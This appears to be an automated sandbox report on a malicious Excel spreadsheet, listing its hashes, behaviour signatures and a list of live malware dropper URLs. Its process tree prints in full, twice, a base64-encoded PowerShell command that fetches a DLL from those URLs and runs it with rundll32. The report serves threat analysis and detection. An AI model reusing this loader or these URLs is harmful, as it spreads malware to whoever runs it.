Analysis

  • max time kernel
    113s
  • max time network
    135s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-en-20220113
  • submitted
    31/01/2022, 16:59

General

  • Target
    tmp7ryfk6fz.xls
  • Size 134KB
  • Sample220131-vhgdsaafd9
  • SHA256 ac558a9ffffe16fb7e71fdd95c1b1a9e6f438e7b05ee7f9b38755f417073e299
  • MD5 SHA1 SHA512
Score
10/10

Malware Config

Extracted

Language
  • ps1

Deobfuscated
Source
URLs
  • exe.dropper

    http://mytelefonist.de/wp-content/bLm8fxV2M/

  • exe.dropper

    https://www.yeald.finance/wp-content/uploads/jqAorV83quhL23HMg/

  • exe.dropper

    http://tattooblog.cn/wp-includes/7AvyW/

  • exe.dropper

    http://docs-construction.com/wp-admin/jDDqg/

  • exe.dropper

    http://sep.dfwsolar.club/hzh3v/poAgyopszuh6a1EIG/

  • exe.dropper

    http://b-lubisi-motivational-speaker.com/wp-admin/Wf5rQabNRai/

  • exe.dropper

    https://pmfstukm.com/wp-admin/SoenE35FXJBjVdnfME/

  • exe.dropper

    http://sesco-ks.com/wp-content/DJkMVMU6cBr45/

  • exe.dropper

    https://sangwin.in/magnisapiente/UzYqb1lvgq/

  • exe.dropper

    http://actividades.laforetlanguages.com/wp-admin/OfFq/

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Sets service image path in registry 2 TTPs
  • Drops file in Windows directory 6 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Modifies data under HKEY_USERS 41 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 6 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 6 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\tmp7ryfk6fz.xls"
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:4864
    • C:\Windows\System32\cmd.exe
      "C:\Windows\System32\cmd.exe" /c choice /C Y /N /D Y /T 3&start /B /WAIT powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A&c:\programdata\vkwer.bat
      2⤵
      • Process spawned unexpected child process
      • Suspicious use of WriteProcessMemory
      PID:3468
      • C:\Windows\system32\choice.exe
        choice /C Y /N /D Y /T 3
        3⤵
          PID:632
        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
          powershell -enc JABHAGQAcgBoAGsANAA9ACIAaAB0AHQAcAA6AC8ALwBtAHkAdABlAGwAZQBmAG8AbgBpAHMAdAAuAGQAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBiAEwAbQA4AGYAeABWADIATQAvACwAaAB0AHQAcABzADoALwAvAHcAdwB3AC4AeQBlAGEAbABkAC4AZgBpAG4AYQBuAGMAZQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwB1AHAAbABvAGEAZABzAC8AagBxAEEAbwByAFYAOAAzAHEAdQBoAEwAMgAzAEgATQBnAC8ALABoAHQAdABwADoALwAvAHQAYQB0AHQAbwBvAGIAbABvAGcALgBjAG4ALwB3AHAALQBpAG4AYwBsAHUAZABlAHMALwA3AEEAdgB5AFcALwAsAGgAdAB0AHAAOgAvAC8AZABvAGMAcwAtAGMAbwBuAHMAdAByAHUAYwB0AGkAbwBuAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBqAEQARABxAGcALwAsAGgAdAB0AHAAOgAvAC8AcwBlAHAALgBkAGYAdwBzAG8AbABhAHIALgBjAGwAdQBiAC8AaAB6AGgAMwB2AC8AcABvAEEAZwB5AG8AcABzAHoAdQBoADYAYQAxAEUASQBHAC8ALABoAHQAdABwADoALwAvAGIALQBsAHUAYgBpAHMAaQAtAG0AbwB0AGkAdgBhAHQAaQBvAG4AYQBsAC0AcwBwAGUAYQBrAGUAcgAuAGMAbwBtAC8AdwBwAC0AYQBkAG0AaQBuAC8AVwBmADUAcgBRAGEAYgBOAFIAYQBpAC8ALABoAHQAdABwAHMAOgAvAC8AcABtAGYAcwB0AHUAawBtAC4AYwBvAG0ALwB3AHAALQBhAGQAbQBpAG4ALwBTAG8AZQBuAEUAMwA1AEYAWABKAEIAagBWAGQAbgBmAE0ARQAvACwAaAB0AHQAcAA6AC8ALwBzAGUAcwBjAG8ALQBrAHMALgBjAG8AbQAvAHcAcAAtAGMAbwBuAHQAZQBuAHQALwBEAEoAawBNAFYATQBVADYAYwBCAHIANAA1AC8ALABoAHQAdABwAHMAOgAvAC8AcwBhAG4AZwB3AGkAbgAuAGkAbgAvAG0AYQBnAG4AaQBzAGEAcABpAGUAbgB0AGUALwBVAHoAWQBxAGIAMQBsAHYAZwBxAC8ALABoAHQAdABwADoALwAvAGEAYwB0AGkAdgBpAGQAYQBkAGUAcwAuAGwAYQBmAG8AcgBlAHQAbABhAG4AZwB1AGEAZwBlAHMALgBjAG8AbQAvAHcAcAAtAGEAZABtAGkAbgAvAE8AZgBGAHEALwAsAGgAdAB0AHAAOgAvAC8AcwBiAGMAbwBwAHkAbABpAHYAZQAuAGMAbwBtAC4AYgByAC8AdwBwAC0AYQBkAG0AaQBuAC8AaAB2AEEAWABxAFoAYwA0AEQAeQBLAEIAegBEAFoATwAvACIALgBTAHAAbABpAHQAKAAiACwAIgApADsAZgBvAHIAZQBhAGMAaAAoACQAcwB0ACAAaQBuACAAJABHAGQAcgBoAGsANAApAHsAJABoAGIAcgBrAGUAMgA9ACIAdgBiAGsAdwBrACIAOwAkAEcAcwBSAEUAdwB0ADQAPQBHAGUAdAAtAFIAYQBuAGQAbwBtADsAJABoAGQARwBlADUANQByAHUAcgA9ACIAYwA6AFwAcAByAG8AZwByAGEAbQBkAGEAdABhAFwAIgArACQAaABiAHIAawBlADIAKwAiAC4AZABsAGwAIgA7AEkAbgB2AG8AawBlAC0AVwBlAGIAUgBlAHEAdQBlAHMAdAAgAC0AVQByAGkAIAAkAHMAdAAgAC0ATwB1AHQARgBpAGwAZQAgACQAaABkAEcAZQA1ADUAcgB1AHIAOwBpAGYAKABUAGUAcwB0AC0AUABhAHQAaAAgACQAaABkAEcAZQA1ADUAcgB1AHIAKQB7AGkAZgAoACgARwBlAHQALQBJAHQAZQBtACAAJABoAGQARwBlADUANQByAHUAcgApAC4ATABlAG4AZwB0AGgAIAAtAGcAZQAgADUAMAAwADAAMAApAHsAJABnAGgARABEAEYASgBIAGsANQBmAD0AIgBjADoAXAB3AGkAIgArACIAbgBkAG8AdwBzAFwAcwB5AHMAdwBvACIAKwAiAHcANgA0AFwAcgB1AG4AZABsACIAKwAiAGwAMwAyAC4AZQB4AGUAIgA7ACQAYgBuAFoAUgA2ADUAZAA9ACQAaABkAEcAZQA1ADUAcgB1AHIAKwAiACwAZgAiACsAJABHAHMAUgBFAHcAdAA0ADsAYgByAGUAYQBrADsAfQB9AH0A
          3⤵
            PID:2108
      • C:\Windows\System32\WaaSMedicAgent.exe
        C:\Windows\System32\WaaSMedicAgent.exe 95ae84a743dd20117a3986952e88887a PPhOZ3TibEms6cG7B6yjiw.0.1.0.0.0
        1⤵
        • Modifies data under HKEY_USERS
        PID:3052
      • C:\Windows\system32\svchost.exe
        C:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv
        1⤵
        • Drops file in Windows directory
        • Suspicious use of AdjustPrivilegeToken
        PID:2040

      Network

            MITRE ATT&CK Enterprise v6

            Replay Monitor

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            Downloads

            memory/2040-149-0x000002010A350000-0x000002010A354000-memory.dmp

            memory/4864-130-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

            memory/4864-131-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

            memory/4864-132-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

            memory/4864-133-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

            memory/4864-134-0x00007FFE621D0000-0x00007FFE621E0000-memory.dmp

            memory/4864-135-0x00007FFE5FF80000-0x00007FFE5FF90000-memory.dmp

            memory/4864-136-0x00007FFE5FF80000-0x00007FFE5FF90000-memory.dmp